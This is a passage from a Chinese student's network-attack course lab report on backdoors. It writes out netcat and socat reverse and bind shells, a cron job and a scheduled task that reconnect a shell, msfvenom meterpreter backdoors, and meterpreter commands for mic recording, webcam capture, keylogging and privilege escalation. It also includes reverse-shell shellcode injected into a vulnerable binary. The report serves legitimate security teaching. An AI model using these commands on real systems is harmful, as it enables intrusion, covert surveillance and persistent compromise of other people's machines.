zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp2 后门原理与实践

    实验内容

    • 1、使用netcat获取主机操作Shell,cron启动 (0.5分)

    • 2、使用socat获取主机操作Shell, 任务计划启动 (0.5分)

    • 3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

    • 4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

    • 5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

    基础问题回答

    • 1、例举你能想到的一个后门进入到你系统中的可能方式?
      答:正版软件故意或被攻击,包含后门;正版库文件中包含后门;安装包中包含后门,放到网上供下载;绑定到特定文件中,放到网上供下载;直接发送恶意程序;发送攻击性钓鱼链接,恶意网站种马;攻击系统漏洞,获取控制权后,安装后门。

    • 2、例举你知道的后门如何启动起来(win及linux)的方式?
      答:开机自启动技术;win的定时任务;linux的cron(linux下的定时执行工具);修改文件关联;修改后门程序名字、图标、扩展名,诱导用户点击。

    • 3、Meterpreter有哪些给你映像深刻的功能?
      答:可直接生成后门程序,生成后门程序,可以获取目标主机音频、摄像头、截图、击键操作(谍战片的既视感)。

    • 4、如何发现自己有系统有没有被安装后门?
      答:及时安装系统补丁,开启杀毒软件,杀毒软件的木马库版本及时更新,手动查看注册表和启动项,关注任务计划程序库。

    常用工具学习

    NC或netcat

    是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    netcat常用命令

    natcat.exe -help可以查看帮助文档

      -4                         Use IPv4 only
      -6                         Use IPv6 only
      -C, --crlf                 Use CRLF for EOL sequence
      -c, --sh-exec <command>    Executes the given command via /bin/sh
      -e, --exec <command>       Executes the given command
          --lua-exec <filename>  Executes the given Lua script
      -g hop1[,hop2,...]         Loose source routing hop points (8 max)
      -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
      -m, --max-conns <n>        Maximum <n> simultaneous connections
      -h, --help                 Display this help screen
      -d, --delay <time>         Wait between read/writes
      -o, --output <filename>    Dump session data to a file
      -x, --hex-dump <filename>  Dump session data as hex to a file
      -i, --idle-timeout <time>  Idle read/write timeout
      -p, --source-port port     Specify source port to use
      -s, --source addr          Specify source address to use (doesn't affect -l)
      -l, --listen               Bind and listen for incoming connections
      -k, --keep-open            Accept multiple connections in listen mode
      -n, --nodns                Do not resolve hostnames via DNS
      -t, --telnet               Answer Telnet negotiations
      -u, --udp                  Use UDP instead of default TCP
          --sctp                 Use SCTP instead of default TCP
     
    

    Win获得Linux Shell

    • 1.Windows 打开监听

      • 下载解压ncat.rar
      • 进入ncat.exe所在文件夹,并执行ncat.exe -l -p 端口号
    • 2.Linux反弹连接win

      • 查询Windows的ip
      • 反弹连接nc windows端ip 5234 -e /bin/sh

    Linux获得Win Shell

    • 1.Linux运行监听指令
      进入ncat.exe所在文件夹,并执行nc -l -p 5234
    • 2.Windows反弹连接Linux
      • 获取linux端ipip address
      • 反弹连接ncat.exe -e cmd.exe linux的ip 5234
        出现错误如图:

        解决措施:关闭linux端防火墙

    nc传输数据

    • 1、Windows下监听
      ncat.exe -l 5234
    • 2、Kali下连接到Windows的5234端口
      ncat 192.168.43.231 5234

    Meterpreter

    Meterpreter是Metasploit的默认Windows系统下的ShellCode。meterpreter是一种高级、隐蔽、多层面的且可动态扩展的payload,可以将反射dll注入到目标主机的内存中,还可以在运行时动态加载脚本和插件来进行后渗透利用。包括提权、转存系统账号、键盘记录、持久后门服务、启用远程桌面等,还有很多其他的扩展。而且,meterpreter shell的整个通信都是默认加密的。

    Metasploit是一个漏洞框架,全称叫做The Metasploit Framework,简称叫做MSF。

    实践过程记录

    任务一:使用netcat获取主机操作Shell,cron启动

    • Windows系统中监听端口:ncat.exe -l -p 5234
    • Linux系统中使用 crontab -e增加一条定时任务
    zsy20175234@ZhaoShiYue:~$ crontab -e
    no crontab for zsy20175234 - using an empty one
    
    Select an editor.  To change later, run 'select-editor'.
      1. /bin/nano        <---- easiest
      2. /usr/bin/vim.basic
      3. /usr/bin/vim.tiny
    
    Choose 1-3 [1]: 2
    crontab: installing new crontab
    
    

    在文段末尾,添加一行19 * * * * /bin/netcat 192.168.43.231 5234 -e /bin/sh,意思是在每个小时的第19分钟(选了跟时间比较近的时间点)反向连接Windows主机让其能够执行Shell功能。

    • crontab -l可查看任务列表

    任务二:使用socat获取主机操作Shell, 任务计划启动

    了解socat

    NAME
    Multipurpose relay (SOcket CAT)
    SYNOPSIS
    socat [options]

    实验步骤

    • 开始右键打开计算机管理器

    • 创建任务,任务名自定义

    • 创建新的触发器,修改时间,勾选已启用

    • 新建操作,操作为启动socat.exe程序,参数填写tcp-listen:5234 exec:cmd.exe,pty,stderr

    • 到设定时间点,Windows弹出socat.exe(不要关闭它)

    • 在kali中输入socat - tcp:192.168.43.231:5234,千万千万不要乱加空格,否则会一直报错,然后就可以看到攻击成功的显示啦

    任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 生成后门程序msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234_backdoor.exe

      • 小贴士1:如果报错
    [*] Bundler failed to load and returned this error:
    'cannot load such file -- bundler/setup'
    [*] You may need to uninstall or upgrade bundler
    

    是因为msfconsole依赖的版本为1.17.3,所以需要安装旧版本哦

    - maybe你跟我一样不幸运,好不容易下载完又报错
    
    ERROR:  While executing gem ... (Gem::FilePermissionError)
        You don't have write permissions for the /var/lib/gems/2.5.0 directory.
    

    那就是安装的时候没有权限,那就是命令需要加上sudo的意思

    • 通过ncat传送到Windows主机
      Windows端输入ncat.exe -lv 5234 >20175234_backdoor.exe
      Kali端输入nc 192.168.43.231 5234 < 20175234_backdoor.exe

    • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口

    • 执行监听

    • 关闭Windows端的所有杀毒防护软件

    • 运行Windows下的后门程序20175234_backdoor.exe

    任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 使用record_mic指令可以截获一段音频
    • 使用webcam_snap指令可以使用摄像头进行拍照
    • 使用screenshot指令可以进行截屏
    • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
    • 使用getuid查看当前用户,getsystem进行提权

    ???任务五:使用MSF生成后门程序,注入到实践1中的pwn1

    • 查看靶机的目标程序类型

    • Kali生成后门程序msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1 LHOST=192.168.26.128 LPORT=5234 -f elf > 20175234_linux.bak

    • 给后门程序加执行权限chmod +x 20175234_linux.bak

    • 攻击端进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口

    • 执行监听exploit

    • 靶机运行后门程序

    做完实验,我又偷偷看了看别人的博客,发现好像这个任务做的不对……以下是正解


    !!!任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    • 进入Exploit DataBase查找需要的shellcode,

      将里头的机器码复制出来
    x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
    
    • 注入前的准备工作
      execstack -s pwn1 //设置堆栈可执行
      execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
      echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
      more /proc/sys/kernel/randomize_va_space//查看随机化是否关闭,如显示0则已关闭,2未关闭

    • 通过gdb调试寻找shellcode的起始地址
      初始input_shellcode:

    perl -e 'print "A" x 32;print"x04x03x02x01x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    

    gdb调试

    • 修改input_shellcode
    perl -e 'print "A" x 32;print"xb0xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    
    • 另打开一终端,打开msfconsole,设置监听

    • 前一终端注入操作(cat input_shellcode;cat) | ./pwn1

    总结与体会

    我们通过简单的实践了解了简单的后门软件的生成、植入、运行过程,对后门原理有了初步的认识,也学到了后门工具(nc、meterpreter)的常用命令。
    在阅读老师的实验指导书、同学的博客时感觉本次实验内容并不太难,但是很有趣。实践时却有很多问题,多一个空格会报错,输错了ip不显示直到最后出不来结果才发现,感觉只是简单安装个bundler也一直中断,好不容易把bundler下载下来又发现没有安装权限。但是整体还是很奈斯,尤其是能听到录音、看到摄像头拍摄的内容时。

    资料参考

  • 相关阅读:
    【记中关村.西北食府.兰州拉面】诗一首
    【新发地寻柑桔收购商】 诗一首
    【糖葫芦】诗一首
    【板栗饼】诗一首
    【白云观寻道】诗一首
    Android开发常用网站汇总
    BZOJ 2281 消失之物
    BZOJ 2281 消失之物
    BZOJ 4033: [HAOI2015]树上染色
    BZOJ 4033: [HAOI2015]树上染色
  • 原文地址:https://www.cnblogs.com/ysz-123/p/12457925.html
Copyright © 2011-2022 走看看